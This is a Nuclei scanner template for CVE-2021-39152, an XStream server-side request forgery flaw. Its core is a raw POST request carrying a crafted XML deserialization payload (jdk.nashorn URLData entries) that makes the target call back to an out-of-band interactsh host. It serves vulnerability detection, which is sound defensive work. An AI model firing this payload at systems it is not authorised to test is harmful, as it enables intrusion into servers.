nuclei-templates/cves/2021/CVE-2021-39152.yaml

63 lines
2.2 KiB
YAML

id: CVE-2021-39152
info:
name: Xstream - Server Side Request Forgery
author: pwnhxl
severity: high
description: |
XStream is a simple library to serialize objects to XML and back again. In affected versions this vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8.
reference:
- https://x-stream.github.io/CVE-2021-39152.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
- https://security.netapp.com/advisory/ntap-20210923-0003/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2021-39152
cwe-id: CWE-918,CWE-502
tags: cve,cve2021,xstream,ssrf,oast
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs>GBK</cs>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData>
<url>http://{{interactsh-url}}/internal/</url>
<cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
<hash>1111</hash>
<array>b</array>
<length>0</length>
<lastModified>0</lastModified>
</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
</entry>
</map>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Java"